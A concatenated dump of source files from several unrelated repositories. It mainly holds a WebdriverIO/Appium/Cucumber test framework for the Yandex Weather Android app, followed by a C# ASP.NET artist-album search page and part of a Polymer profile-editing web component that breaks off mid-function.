const expectedElements = elements.hashes().map((el) => el.itemName);
for (const elementName of expectedElements) {
const actualState = await baseView.currentContainer.isElementVisible(elementName, waitDuring);
expect(actualState).to.equal(expectedState,
`${elementName} visibility - actual: ${actualState}, expected: ${expectedState}`);
}
});
Then(/element with '(.+)' text should be visible/, async (text) => {
const requiredElement = await LU.getElementByText(text);
const actualState = await utils.isElementVisible(requiredElement);
expect(actualState).to.equal(true);
});
Then(/element '(.+)' text should be '(.*)'/, async (elementName, expectedValue) => {
const actualValue = await baseView.currentContainer.getElementText(elementName);
if (Messages[expectedValue]) {
expectedValue = Messages[expectedValue];
}
expect(actualValue).to.equal(expectedValue,
`${elementName} text - actual: ${actualValue}, expected: ${expectedValue}`);
});
Then(/keyboard should be (invisible|visible)/, async (expectedVisibility) => {
const expectedState = expectedVisibility === 'visible';
const actualState = await browser.isKeyboardShown();
expect(actualState).to.equal(expectedState, `keyboard - actual: ${actualState}, expected: ${expectedState}`);
});
});
<file_sep>/config/wdio.conf.js
const configHelper = require('./config-helper.js');
/**
* more information: https://webdriver.io/docs/configurationfile.html
* https://webdriver.io/docs/options.html
*/
exports.config = {
// WebdriverIO allows it to run your tests in arbitrary locations (e.g. locally / remote machine).
runner: 'local',
specs: ['./src/test-layer/features/*.feature'],
// Patterns to exclude.
exclude: [
// 'path/to/excluded/files'
],
host: '0.0.0.0',
port: 4723,
maxInstances: 1,
capabilities: configHelper.getCapabilities(),
services: [
// https://webdriver.io/docs/appium-service.html
'appium'
],
// http://appium.io/docs/en/writing-running-appium/server-args/index.html
appium: {
args: {
address: '0.0.0.0',
port: 4723,
commandTimeout: 1800000,
sessionOverride: true,
debugLogSpacing: true
},
command: 'appium',
logFileName: './temp/appium.log',
waitforTimeout: 1800000,
waitStartTime: 6000
},
logLevel: process.env.npm_config_wdioLogging ? process.env.npm_config_wdioLogging : 'silent',
coloredLogs: true,
waitforTimeout: 10000,
// default timeout in milliseconds for request if Selenium doesn't send response
connectionRetryTimeout: 300000,
connectionRetryCount: 3,
framework: 'cucumber',
cucumberOpts: configHelper.getCucumberOptions(),
// more info: https://webdriver.io/docs/allure-reporter.html#configuration
reporters: [
[
'allure',
{
outputDir: './temp/allure-results',
useCucumberStepReporter: true,
disableWebdriverStepsReporting: true,
disableWebdriverScreenshotsReporting: false
}
]
],
// =====
// Hooks
// =====
// Runs after a Cucumber step
afterStep: function (uri, feature, { error, result, duration, passed }, stepData, context) {
const stepResult = !!passed && !error ? 'passed' : 'failed';
configHelper.logger.info(`AFTER STEP :: ${stepData.step.text} :: ${stepResult}`);
browser.takeScreenshot();
},
// Runs after a Cucumber scenario
afterScenario: async function (uri, feature, scenario, result, sourceLocation) {
await browser.closeApp();
configHelper.logger.info(`AFTER SCENARIO :: app closed`);
},
// WebdriverIO provides several hooks you can use to interfere with the test process in order to enhance
// it and to build services around it. You can either apply a single function or an array of
// methods to it. If one of them returns with a promise, WebdriverIO will wait until that promise got
// resolved to continue.
/**
* Gets executed once before all workers get launched.
* @param {Object} config wdio configuration object
* @param {Array.<Object>} capabilities list of capabilities details
*/
onPrepare: function (config, capabilities) {
configHelper.logger.info('ON_PREPARE :: ');
},
/**
* Gets executed just before initialising the webdriver session and test framework. It allows you
* to manipulate configurations depending on the capability or spec.
* @param {Object} config wdio configuration object
* @param {Array.<Object>} capabilities list of capabilities details
* @param {Array.<String>} specs List of spec file paths that are to be run
*/
beforeSession: function (config, capabilities, specs) {
configHelper.logger.info('BEFORE_SESSION :: ');
},
// Gets executed before test execution begins. At this point you can access all global
// variables, such as `browser`. It is the perfect place to define custom commands.
before: function() {
configHelper.logger.info('before hook');
/**
* Setup the Chai assertion framework
*/
// const chai = require('chai');
// global.timeUnits =
// global.expect = chai.expect;
// global.assert = chai.assert;
// global.should = chai.should();
//configHelper.logger.info(`isDisplayed :: ${element.selector} :: result "${visibility}"`);
},
/**
* Runs before a WebdriverIO command gets executed.
* @param {String} commandName hook command name
* @param {Array} args arguments that command would receive
*/
// beforeCommand: function (commandName, args) {
// },
/**
* Runs before a Cucumber feature
*/
// beforeFeature: function (uri, feature, scenarios) {
//
// },
/**
* Runs before a Cucumber scenario
*/
// beforeScenario: function (uri, feature, scenario, sourceLocation) {
// },
/**
* Runs before a Cucumber step
*/
// beforeStep: function (uri, feature, stepData, context) {
// },
/**
* Runs after a Cucumber feature
*/
// afterFeature: function (uri, feature, scenarios) {
// },
/**
* Runs after a WebdriverIO command gets executed
* @param {String} commandName hook command name
* @param {Array} args arguments that command would receive
* @param {Number} result 0 - command success, 1 - command error
* @param {Object} error error object if any
*/
// afterCommand: function (commandName, args, result, error) {
// },
/**
* Gets executed after all tests are done. You still have access to all global variables from
* the test.
* @param {Number} result 0 - test pass, 1 - test fail
* @param {Array.<Object>} capabilities list of capabilities details
* @param {Array.<String>} specs List of spec file paths that ran
*/
// after: function (result, capabilities, specs) {
// },
/**
* Gets executed right after terminating the webdriver session.
* @param {Object} config wdio configuration object
* @param {Array.<Object>} capabilities list of capabilities details
* @param {Array.<String>} specs List of spec file paths that ran
*/
// afterSession: function (config, capabilities, specs) {
// },
/**
* Gets executed after all workers got shut down and the process is about to exit. An error
* thrown in the onComplete hook will result in the test run failing.
* @param {Object} exitCode 0 - success, 1 - fail
* @param {Object} config wdio configuration object
* @param {Array.<Object>} capabilities list of capabilities details
* @param {<Object>} results object containing test results
*/
// onComplete: function(exitCode, config, capabilities, results) {
// },
/**
* Gets executed when a refresh happens.
* @param {String} oldSessionId session ID of the old session
* @param {String} newSessionId session ID of the new session
*/
//onReload: function(oldSessionId, newSessionId) {
//}
}
<file_sep>/docker/android-10.0/Dockerfile
#=================================
# Starting image
# https://hub.docker.com/r/budtmo/docker-android-x86-10.0
#=================================
FROM budtmo/docker-android-x86-10.0:latest
MAINTAINER antiylia
USER root
#=======================
# Gopy apk file into container
#=======================
COPY yandex_weather_v6.5.12.apk app/yandex_weather_v6.5.12.apk<file_sep>/config/cucumber-options.js
/**
* more information:
* https://github.com/webdriverio/webdriverio/tree/master/packages/wdio-cucumber-framework#cucumberopts-options
*/
function getCucumberOptions() {
return {
require: [
'./compiled-output/test-layer/step_definitions/common_steps.js'
],
backtrace: true,
requireModule: [],
dryRun: process.env.npm_config_dryRun ? !!process.env.npm_config_dryRun : false,
failFast: false,
format: ['pretty'],
colors: true,
snippets: true,
source: true,
profile: [],
strict: true,
tagsInTitle: false,
timeout: 180000,
ignoreUndefinedDefinitions: false,
};
};
module.exports.getCucumberOptions = getCucumberOptions;<file_sep>/README.md
## Mobile automation for native application
using
```
appium
webdriverio
cucumber
chai
typescript
allure
```
### Requirements
1. NodeJS installed globally in the system.
2. JAVA installed in the system, **JAVA_HOME** environment variable.
3. Android (sdk) installed in the system, **ANDROID_HOME** environment variable.
### Setup
```
npm install
```
### Run Tests
* start appium server:
```
npm run start-appium
```
* execute the config files. This project has 2 config files:
[wdio.config.js](config/wdio.conf.js) - used for running tests, with already running Appium server
and emulator
```
npm run test --tags=
```
[wdio.docker.config.js](config/wdio.docker.conf.js) - starts docker container with Appium server and emuator
```
npm run test-docker --tags=
```
### Options:
```
--tags= @main-view or @main-view,@favorites,@launch-app (@launch-app | @favorites | @main-view | @settings)
--platform= (android | ios (not supported yet), default: android)
--fullPlatform= android-8.1-api-27 (default: android-10.0-api-29)
--device= for Dockerized emulators (default: 'Samsung Galaxy S10')
--adbDeviceName= (for real device - serial number, for emulators - 'emulator-5554', default: 'emulator-5554').
To know adbDeviceName run command: adb devices
--wdioLogging= (trace | debug | info | warn | error | silent, default: debug)
--dryRun= (true | false, default: false) for checking if all cucumber steps defined
```
Examples:
* **running on default/non-default manually configured emulator (Android 8.1, 10.0):** based on [platform version distribution](https://developer.android.com/about/dashboards/index.html?utm_source=suzunone)
```
profile:
{
platform: 'android'
fullPlatform: 'android-10.0-api-29'
device: 'Nexus 5 API 29 (1080*1920)' (depends on manually started emulator,
can be skipped, if non-Dockerized emulators)
adbDeviceName: 'emulator-5554' (depends on the rinning emulators count)
}
```
commands:
```
npm run test --tags=@main-view
npm run test --tags=@main-view --fullPlatform=android-8.1-api-27
```
* **running on real device:**
Device should be USB connected and configured to run test:
```
1. Develover mode is switched on
on MIUI 9 and above:
2. Settings -> Additional Settings -> Developer options ->
turn ON "USB Debugging"
turn ON "Install via USB"
set USB Configuration to Charging
turn ON "install via USB
turn OFF "MIUI optimization" and Restart
MTP(Media Transfer Protocol) is the default mode.
```
```
profile:
{
platform: 'android'
fullPlatform: 'android-6.0.1-api-23'
device: 'Redmi Note 3 (1080*1920)' (can be skipped, if non-Dockerized emulators)
adbDeviceName: '8a48ad27' (on phone: Settings -> General info -> Serial number
or command: adb devices)
}
```
command:
```
npm run test --tags=@main-view --fullPlatform=android-6.0.1-api-23 --adbDeviceName='8a48ad27'
```
* **running on Dockerized emulators:**
```
profile:
{
platform: 'android' (!currently, only for Android 10.0 platform)
fullPlatform: 'android-10.0-api-29'
device: 'Samsung Galaxy S10' (default: 'Samsung Galaxy S10',
configured option, see List of Devices)
adbDeviceName: 'emulator-5554' (depends on the rinning emulators count)
}
```
command:
```
npm run test-docker --tags=@main-view --device='Samsung Galaxy S9'
```
### List of Devices
see [list of devices](https://github.com/budtmo/docker-android#list-of-devices)
### Running tests within Dockerized Appium and Android emulators
These [solution](https://github.com/budtmo/docker-android) was used as basement for slightly customized [Docker image](https://hub.docker.com/repository/docker/antiylia/appium-android-10.0)
Requirements:
1. Nested Virtualization should be enable, Linux OS (Ubuntu)
2. Docker installed
3. downloaded Docker image
Android:
| --fullPlatform command option | docker image |
| ----------------------------- | ------------------- |
| android-10.0-api-29 | appium-android-10.0 |
after docker container started - noVNC available on 6080 port, appium - on 4723 port.
**! Having perfomance issue with Dockerized emulators - they are freezing and can be crashed during test execution.
Using Firefox browser for VNC reviewing (localhost:6080) works faster, than Chrome, but not fully solved the perfomance issue.**
### Reporting
Allure is used for tests results reporting. For allure report generating use:
```
npm run generate-report
```
For report opened in default browser:
on Windows:
```
npm run win-launch-report
```
on Linux (Ubuntu):
```
npm run ubuntu-launch-report
```<file_sep>/src/support/objects/views/favorites-view.ts
const configHelper = require('./../../../../config/config-helper.js');
import { utils } from './../elements-utils/elements-util';
import { LU } from './../elements-utils/locators-util';
export class FavoritesView {
private viewElements = {
// top tool bar
'back button': {
android: LU.getResourceId(LU.addAppPackage('id/back_button')),
ios: ''
},
'search button': {
android: LU.getResourceId(LU.addAppPackage('id/search_button')),
ios: ''
},
// searching
'search input': {
android: LU.getResourceId(LU.addAppPackage('id/search_input_edit_text')),
ios: ''
},
'search results': {
android: LU.getResourceId(LU.addAppPackage('id/search_recycler_view')),
ios: ''
},
'search hint': {
android: LU.getResourceId(LU.addAppPackage('id/search_placeholder')),
ios: ''
},
'found item': {
android: LU.getResourceId(LU.addAppPackage('id/item_search_root')),
ios: ''
},
'reset button': {
android: LU.getResourceId(LU.addAppPackage('id/search_clear_image_view')),
ios: ''
},
// favorites segment
'favorites segment': {
android: LU.getResourceId(LU.addAppPackage('id/favorites_content')),
ios: ''
},
'location cards': {
android: LU.getClassName('android.widget.RelativeLayout'),
ios: ''
},
'add favorites description': {
android: LU.getResourceId(LU.addAppPackage('id/favorite_description')),
ios: ''
}
};
public async isViewFullyLoaded() {
const elementNames = [
'back button',
'favorites segment'
];
for (const elementName of elementNames) {
const requiredElement = await $(this.viewElements[elementName][configHelper.platform]);
await utils.waitReady(requiredElement);
}
}
public async getElementsCount(elementsName: string) {
const requiredElements = await $$(this.viewElements[elementsName][configHelper.platform]);
return requiredElements.length;
}
public async clickOnElement(elementName: string) {
const requiredElement = await $(this.viewElements[elementName][configHelper.platform]);
return utils.clickOnElement(requiredElement);
}
public async isElementVisible(elementName: string, waitDuring = 30000) {
const requiredElement = await $(this.viewElements[elementName][configHelper.platform]);
return utils.isElementVisible(requiredElement, waitDuring);
}
public async getElementText(elementName: string) {
const requiredElement = await $(this.viewElements[elementName][configHelper.platform]);
return utils.getElementText(requiredElement);
}
public async fillElement(elementName: string, valueToFill: string) {
const requiredElement = await $(this.viewElements[elementName][configHelper.platform]);
await utils.fillElement(requiredElement, valueToFill);
}
}
<file_sep>/src/support/objects/views/main-view.ts
const configHelper = require('./../../../../config/config-helper.js');
import { utils } from './../elements-utils/elements-util';
import { LU } from './../elements-utils/locators-util';
export class MainView {
private viewElements = {
// top tool bar
'top toolbar segment': {
android: LU.getResourceId(LU.addAppPackage('id/home_toolbar_toolbar_linear_layout')),
ios: ''
},
'to-favorite button': {
android: LU.getResourceId(LU.addAppPackage('id/home_toolbar_left_button')),
ios: ''
},
'weather info location': {
android: LU.getResourceId(LU.addAppPackage('id/top_text_title')),
ios: ''
},
'to-setting button': {
android: LU.getResourceId(LU.addAppPackage('id/home_toolbar_right_button')),
ios: ''
},
'to-set favorite button': {
android: LU.getResourceId(LU.addAppPackage('id/search_button')),
ios: ''
},
// weather info
'weather info segment': {
android: LU.getResourceId(LU.addAppPackage('id/home_illustration_content')),
ios: ''
},
'central weather info square': {
android: LU.getResourceId(LU.addAppPackage('id/home_top_info_view')),
ios: ''
},
'hourly forecast': {
android: LU.getResourceId(LU.addAppPackage('id/home_hourly_forecast')),
ios: ''
},
// alerts
'alerts segment': {
android: LU.getResourceId(LU.addAppPackage('id/home_alert_recycler_view')),
ios: ''
},
'alert image': {
android: LU.getResourceId(LU.addAppPackage('id/alert_item_images_container')),
ios: ''
},
'alert text': {
android: LU.getResourceId(LU.addAppPackage('id/alert_item_text')),
ios: ''
},
'call to action': {
android: LU.getResourceId(LU.addAppPackage('id/alert_item_call_to_action_text')),
ios: ''
},
// forecast list
'daily forecast segment': {
android: LU.getResourceId(LU.addAppPackage('id/home_days_forecast_recycler_view')),
ios: ''
}
};
public async isElementVisible(elementName: string) {
const requiredElement = await $(this.viewElements[elementName][configHelper.platform]);
return utils.isElementVisible(requiredElement);
}
public async isViewFullyLoaded() {
const elementNames = [
'top toolbar segment',
'weather info segment',
'alerts segment',
'daily forecast segment'
];
for (const elementName of elementNames) {
const requiredElement = await $(this.viewElements[elementName][configHelper.platform]);
await utils.waitReady(requiredElement);
}
}
public async clickOnElement(elementName: string) {
const requiredElement = await $(this.viewElements[elementName][configHelper.platform]);
return utils.clickOnElement(requiredElement);
}
public async getElementText(elementName: string) {
const requiredElement = await $(this.viewElements[elementName][configHelper.platform]);
return utils.getElementText(requiredElement);
}
}
<file_sep>/src/support/enums/app-activities.ts
/**
* using: sudo adb shell "dumpsys activity activities | grep ResumedActivity"
*/
export enum Activities {
launch = '.ui.activity.SplashActivity',
'main view' = '.newui.container.ContainerActivity',
'dark pop up' = 'ru.yandex.searchlib.splash.DarkSplashActivity',
'settings view' = '.newui.settings.SettingsActivity',
'favorites search' = '.newui.SearchActivity'
}
<file_sep>/src/support/objects/views/base-view.ts
const configHelper = require('./../../../../config/config-helper.js');
import { DialogPanel } from '../fragments/dialog-panel';
import { FavoritesView } from './favorites-view';
import { MainView } from './main-view';
import { SettingsView } from './settings-view';
export class BaseView {
private curContainer;
get currentContainer() {
return this.curContainer;
}
public setContainer(containerName: string) {
const containers = {
'dialog panel': DialogPanel,
'favorites view': FavoritesView,
'main view': MainView,
'settings view': SettingsView
};
this.curContainer = new containers[containerName]();
configHelper.logger.info(`setContainer :: current container set to ${containerName}`);
}
public getContainer(containerName: string) {
this.setContainer(containerName);
return this.curContainer;
}
}
<file_sep>/src/support/objects/views/settings-view.ts
const configHelper = require('./../../../../config/config-helper.js');
import { utils } from './../elements-utils/elements-util';
import { LU } from './../elements-utils/locators-util';
export class SettingsView {
private viewElements = {
'to-main-view button': {
android: LU.getClassName('android.widget.ImageButton'),
ios: ''
},
'view title': {
android: '//*[@resource-id="<EMAIL>:id/toolbar"]//*[@class="android.widget.TextView"]',
ios: ''
},
'sign in button': {
android: LU.getResourceId(LU.addAppPackage('id/settings_auth_left_text')),
ios: ''
},
'sign in description': {
android: LU.getResourceId(LU.addAppPackage('id/settings_auth_description')),
ios: ''
},
'temperature row': {
android: LU.getResourceId(LU.addAppPackage('id/settings_temp_switch_container')),
ios: ''
},
'wind speed row': {
android: LU.getResourceId(LU.addAppPackage('id/settings_wind_switch_container')),
ios: ''
},
'pressure row': {
android: LU.getResourceId(LU.addAppPackage('id/settings_pressure_switch_container')),
ios: ''
},
'location row': {
android: LU.getResourceId(LU.addAppPackage('id/settings_location_widget_expandable')),
ios: ''
}
};
public async isViewFullyLoaded() {
const elementNames = [
'sign in description',
'temperature row',
'location row'
];
for (const elementName of elementNames) {
const requiredElement = await $(this.viewElements[elementName][configHelper.platform]);
await utils.waitReady(requiredElement);
}
}
public async isElementVisible(elementName: string) {
const requiredElement = await $(this.viewElements[elementName][configHelper.platform]);
return utils.isElementVisible(requiredElement, 30000);
}
public async getElementText(elementName: string) {
const requiredElement = await $(this.viewElements[elementName][configHelper.platform]);
return utils.getElementText(requiredElement);
}
}
<file_sep>/src/support/enums/locations.ts
/**
* info: http://v4.webdriver.io/api/mobile/setGeoLocation.html
* https://github.com/appium/appium/blob/master/docs/en/commands/session/geolocation/set-geolocation.md
*/
export const Locations = {
'City of Mountain View': {
latitude: '37.42187',
longitude: '-122.08401',
altitude: '10'
},
'Paris': {
latitude: '48.8',
longitude: '2.34',
altitude: '35'
}
};
<file_sep>/config/docker-options.js
/**
* more info: https://webdriver.io/docs/wdio-docker-service.html#dockeroptionshealthcheck
*/
const healthCheck = {
url: 'http://localhost:6080',
maxRetries: 5,
inspectInterval: 1000,
startDelay: 240000
};
/**
* more information: https://github.com/budtmo/docker-android
* docker run command:
* sudo docker run
* --privileged (only for ubuntu OS. This flag allow to use system image x86 for better performance)
* -d
* -p 6080:6080
* -p 5554:5554
* -p 5555:5555
* -p 4723:4723
* -e DEVICE="Samsung Galaxy S10"
* -e EMULATOR_ARGS="-gpu swiftshader_indirect -accel on" (see: https://gist.github.com/JonathanLalou/180c87554d8278b0e6d7)
* -e APPIUM=true (see: https://github.com/budtmo/docker-android/blob/master/README_APPIUM_AND_SELENIUM.md)
* antiylia/appium-android-10.0:1.0.0
*/
function getDockerOptions(platformVersion, deviceName) {
return {
image: 'antiylia/appium-android-10.0:1.0.0',
healthCheck: healthCheck,
options: {
// stop container after build run
rm: true,
privileged: true,
d: true,
e: [
`DEVICE=${deviceName}`,
'EMULATOR_ARGS=-gpu swiftshader_indirect -accel on',
'APPIUM=true'
],
p: [
'6080:6080',
'5554:5554',
'5555:5555',
'4723:4723'
]
}
};
};
module.exports.getDockerOptions = getDockerOptions;<file_sep>/src/support/objects/elements-utils/locators-util.ts
/**
* WebriverIO info: https://webdriver.io/docs/selectors.html#mobile-selectors
* Appium info: http://appium.io/docs/en/commands/element/find-elements/#selector-strategies
* UiSelector info: https://developer.android.com/reference/android/support/test/uiautomator/UiSelector
*/
class LocatorsUtils {
public addInstallerPackage(locatorValue) {
return `com.android.packageinstaller:${locatorValue}`;
}
public addAppPackage(locatorValue) {
return `ru.yandex.weatherplugin:${locatorValue}`;
}
public addPermissionPackage(locatorValue) {
return `com.android.permissioncontroller:${locatorValue}`;
}
public getResourceId(resourceId: string, platform: string = 'android') {
return `${platform}=new UiSelector().resourceId("${resourceId}")`;
}
public getClassName(className: string, platform: string = 'android') {
return `${platform}=new UiSelector().className("${className}")`;
}
public getElementByText(text: string, platform: string = 'android') {
return $(`${platform}=new UiSelector().text("${text}")`);
}
}
export const LU = new LocatorsUtils();
<file_sep>/src/support/enums/messages.ts
export enum Messages {
app_needs_to_know_location = 'Yandex.Weather needs to know your location in order to show you a precise forecast',
allow_app_to_access_location = 'Allow Weather to access this device\'s location?',
allow_all_time = 'Allow all the time',
allow_only_during_app_using = 'Allow only while using the app',
deny = 'Deny',
city_or_area = 'City or area',
search_hint = 'Enter location name or exact address',
add_favorites_description = 'Add a city, area or specific address to your Favorites to quickly see what the weather is like there.\n\n' +
'To add Favorites, first search for them, view their forecast and then tap ',
settings_title = 'Settings',
sign_in_description = 'Signing in lets you sync your favorite locations between your devices.'
}
<file_sep>/src/support/objects/fragments/dialog-panel.ts
const configHelper = require('./../../../../config/config-helper.js');
import { utils } from './../elements-utils/elements-util';
import { LU } from './../elements-utils/locators-util';
export class DialogPanel {
private panelElements = {
'location alert': {
android: LU.getResourceId(LU.addAppPackage('id/action_bar_root')),
ios: ''
},
'location message': {
android: LU.getResourceId('android:id/message'),
ios: ''
},
'continue button': {
android: LU.getResourceId('android:id/button1'),
ios: ''
},
'permissions container': {
android: {
'8.1': LU.getResourceId(LU.addInstallerPackage('id/dialog_container')),
'10.0': LU.getResourceId(LU.addPermissionPackage('id/content_container'))
},
ios: ''
},
'permission icon': {
android: LU.getResourceId(LU.addPermissionPackage('id/permission_icon')),
ios: ''
},
'permission message': {
android: LU.getResourceId(LU.addPermissionPackage('id/permission_message')),
ios: ''
},
'allow always button': {
android: LU.getResourceId(LU.addPermissionPackage('id/permission_allow_always_button')),
ios: ''
},
'allow foreground button': {
android: LU.getResourceId(LU.addPermissionPackage('id/permission_allow_foreground_only_button')),
ios: ''
},
'deny button': {
android: {
'8.1': LU.getResourceId(LU.addInstallerPackage('id/permission_deny_button')),
'10.0': LU.getResourceId(LU.addPermissionPackage('id/permission_deny_button'))
},
ios: ''
}
};
public async isElementVisible(elementName: string, hasVersion: boolean = false) {
const requiredElement = await $(this.getLocator(elementName, hasVersion));
return utils.isElementVisible(requiredElement);
}
public async getElementText(elementName: string) {
const requiredElement = await $(this.getLocator(elementName, false));
return utils.getElementText(requiredElement);
}
public async clickOnElement(elementName: string, hasVersion: boolean = false) {
const requiredElement = await $(this.getLocator(elementName, hasVersion));
return utils.clickOnElement(requiredElement);
}
public async continueLocationAlert() {
const isVisible = await this.isElementVisible('location alert');
if (isVisible) {
await this.clickOnElement('continue button');
}
}
public async denyPermissions() {
const isVisible = await this.isElementVisible('permissions container', true);
if (isVisible) {
await this.clickOnElement('deny button', true);
}
}
private getLocator(elementName: string, hasVersion) {
const [, version] = configHelper.fullPlatform.split('-');
const versionForLocator = version === '10.0' ? '10.0' : '8.1';
configHelper.logger.info(`platform version :: ${version} :: ${versionForLocator} used for locator`);
const locator = this.panelElements[elementName][configHelper.platform];
return hasVersion
? locator[versionForLocator]
: locator;
}
}
<file_sep>/src/support/objects/elements-utils/elements-util.ts
const configHelper = require('./../../../../config/config-helper.js');
import { Activities } from './../../enums/app-activities';
import { Locations } from './../../enums/locations';
class ElementsUtils {
public async waitReady(element, timeOut = 3000) {
try {
await element.waitForDisplayed(timeOut);
} catch (error) {
configHelper.logger.error(`element ${element.selector} wait for displayed: ${error.message}`);
}
}
public async isElementVisible(element, timeOut = 3000) {
await this.waitReady(element, timeOut);
const visibility = await element.isDisplayed();
configHelper.logger.info(`isDisplayed :: ${element.selector} :: result "${visibility}"`);
return visibility;
}
public async getElementText(element) {
let text;
try {
text = await element.getText();
configHelper.logger.info(`getText :: ${element.selector} :: text "${text}"`);
} catch (error) {
configHelper.logger.error(`getText :: ${element.selector} :: error ${error.message}`);
}
return text;
}
public async clearElementValue(element) {
await element.clearValue();
const result = await element.getValue();
if (result !== '') {
configHelper.logger.error(`clearValue :: ${element.selector} :: cannot clean value`);
}
}
public async fillElement(element, valueToFill) {
await element.setValue(valueToFill);
}
public async clickOnElement(element) {
try {
await element.click();
configHelper.logger.info(`click on :: ${element.selector}`);
} catch (error) {
configHelper.logger.error(`click on :: ${element.selector} :: error ${error.message}`);
}
}
/* do not work: wanted to launch some app view - launching activity, but no throuth UI
public async launch(activityName) {
const appPackage = 'ru.yandex.weatherplugin';
await browser.startActivity(appPackage, Activities[activityName]);
configHelper.logger.info(`launch activity :: ${Activities[activityName]}`);
}
*/
public async setGeoLocation(locationName: string) {
// setGeoLocation do not change location - TODO
await browser.setGeoLocation(Locations[locationName]);
const currentLocation = await browser.getGeoLocation();
configHelper.logger.info(`current geoLocation "${JSON.stringify(currentLocation)}"`);
}
}
export const utils = new ElementsUtils();
| 24b3f048bf99345eaa6f5f0b23b40b6faea6231b | [
"JavaScript",
"TypeScript",
"Dockerfile",
"Markdown"
] | 16 | TypeScript | anggastika/typescript-webdriverIO-appium-cucumber | ca5baaeb79841425e40204cc419631304c53ac5f | e4152e90ef2272614d3fb47801ee17d624dd9184 | |
refs/heads/main | <file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
#region Additional Namespaces
using ChinookSystem.BLL;
using ChinookSystem.ViewModels;
#endregion
namespace WebAppDemo.SamplePages
{
public partial class SearchByDLL : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (!Page.IsPostBack)
{
//this is first time
LoadArtistList();
}
}
#region Error Handling ODS
protected void SelectCheckForException(object sender, ObjectDataSourceStatusEventArgs e)
{
MessageUserControl.HandleDataBoundException(e);
}
#endregion
protected void LoadArtistList()
{
ArtistController sysmgr = new ArtistController();
List<SelectionList> info = sysmgr.Artists_DDLList();
info.Sort((x,y) => x.DisplayField.CompareTo(y.DisplayField));
ArtistList.DataSource = info;
ArtistList.DataTextField = nameof(SelectionList.DisplayField);
ArtistList.DataValueField = nameof(SelectionList.ValueField);
ArtistList.DataBind();
//prompt line
ArtistList.Items.Insert(0,new ListItem("select ...", "0"));
}
protected void SearchAlbums_Click1(object sender, EventArgs e)
{
if (ArtistList.SelectedIndex == 0)
{
//index 0 is physically pointing to the prompt line
// "select an artist for the search";
MessageUserControl.ShowInfo("Search concern", "select an artist for the search");
ArtistAlbumList.DataSource = null;
ArtistAlbumList.DataBind();
}
else
{
//standard look and assignment
MessageUserControl.TryRun(() => {
AlbumController sysmgr = new AlbumController();
List<ChinookSystem.ViewModels.ArtistAlbums> info = sysmgr.Albums_GetAlbumsForArtist(int.Parse(ArtistList.SelectedValue));
ArtistAlbumList.DataSource = info;
ArtistAlbumList.DataBind();
}, "Success Message Title", "Search was successful");
}
}
}
} | 6d91758df715183656a46f1950dbb7e6e7394430 | [
"C#"
] | 1 | C# | JarodMcGo/2021-Jan-2018-A02 | 201a9674cf7cac84f6ab71028a93f733425a9379 | 0591ab835b0049ddc8c97349397502624a9b121c | |
refs/heads/master | <repo_name>FabricElements/profile-edit<file_sep>/profile-edit.js
/* eslint-disable max-len */
/* eslint-disable-next-line max-len */
import {html, PolymerElement} from '@polymer/polymer/polymer-element.js';
import '@polymer/iron-flex-layout/iron-flex-layout.js';
import '@polymer/paper-input/paper-input.js';
import '@polymer/paper-fab/paper-fab.js';
import '@polymer/iron-icons/image-icons.js';
import '@fabricelements/skin-styles/classes/buttons.js';
import '@fabricelements/skin-styles/classes/typography.js';
import '@fabricelements/skeleton-image-uploader/skeleton-image-uploader.js';
/**
* `profile-edit`
*
*
* @customElement
* @polymer
* @demo demo/index.html
*/
class ProfileEdit extends PolymerElement {
/**
* @return {!HTMLTemplateElement}
*/
static get template() {
return html`
<style is="custom-style" include="skin-buttons skin-typography">
:host {
display: block;
@apply --layout-flex-none;
@apply --layout-vertical;
box-sizing: border-box;
position: relative;
}
#picture-container {
max-width: 300px;
padding-top: 1rem;
margin: 0 auto 2rem auto;
box-sizing: border-box;
position: relative;
}
#picture-container paper-fab {
position: absolute;
bottom: 1rem;
right: 1rem;
z-index: 2;
}
#picture-container {
--paper-fab-background: white;
--paper-fab-iron-icon: {
color: var(--paper-indigo-a700);
};
}
.displayName {
text-transform: capitalize;
min-height: 35px;
line-height: 35px;
margin-bottom: 0.5rem;
}
.profileSummary {
min-height: 25px;
line-height: 25px;
font-weight: 500;
}
header {
@apply --layout-flex-auto;
@apply --layout-vertical;
@apply --layout-center-justified;
background-color: var(--paper-indigo-a200);
padding: 1rem;
box-sizing: border-box;
min-height: 432px;
}
#text {
text-align: center;
max-width: 700px;
margin: 0 auto;
}
#body {
margin: 0 auto 1rem auto;
padding: 0 1rem;
@apply --layout-flex-none;
width: 100%;
box-sizing: border-box;
max-width: 700px;
}
paper-input {
margin-bottom: 0.5rem;
}
skeleton-image-uploader {
--progress-overlay-color: var(--paper-green-a400);
}
</style>
<header>
<div id="top-container">
<div id="picture-container">
<skeleton-image-uploader
circle
vision="<KEY>"
src$="[[profile.avatar]]"
placeholder="https://p.imgix.net/default.jpg?fit=cut&w=500&h=500"
content-type="image/jpeg"
metadata$="[[metadata]]"
path$="images/user/[[user.uid]]/avatar/1.jpg">
</skeleton-image-uploader>
<paper-fab icon="image:photo-camera" on-tap="_capture"></paper-fab>
</div>
<!--<div id="text">
<h2 class="displayName paper-font-headline dark">[[profile.name]]</h2>
<p class="profileSummary paper-font-subhead dark">[[profile.bio.original]]</p>
</div>-->
</div>
</header>
<div id="body">
<paper-input placeholder="Your name"
value="{{profile.name}}"
maxlength="50"
char-counter
id="input-name"></paper-input>
<paper-input placeholder="Tell us about yourself & why you want to play more"
value="{{profile.bio.original}}"
maxlength="150"
char-counter
id="description"></paper-input>
</div>
`;
}
/**
* @return {string}
*/
static get is() {
return 'profile-edit';
}
/**
* @return {object}
*/
static get properties() {
return {
signedIn: {
type: Boolean,
value: false,
},
user: {
type: Object,
value: {},
observer: '_userObserver',
},
profile: {
type: Object,
value: {
name: null,
bio: {
original: null,
},
},
},
readyToSave: {
type: Boolean,
value: false,
reflectToAttribute: true,
notify: true,
computed: '_computeReady(profile, profile.*)',
},
metadata: {
type: Object,
value: {},
},
};
}
/**
* Ready
*/
ready() {
super.ready();
this.addEventListener('completed',
(downloadURL) => this._updatePhotoAuth(downloadURL));
}
/**
* connectedCallback
*/
connectedCallback() {
super.connectedCallback();
firebase.auth().onAuthStateChanged((user) => {
this.user = user ? user : null;
this.signedIn = !(!user);
});
}
/**
* Update
*
* @private
*/
update() {
if (!this.profile.name) return;
const db = firebase.firestore();
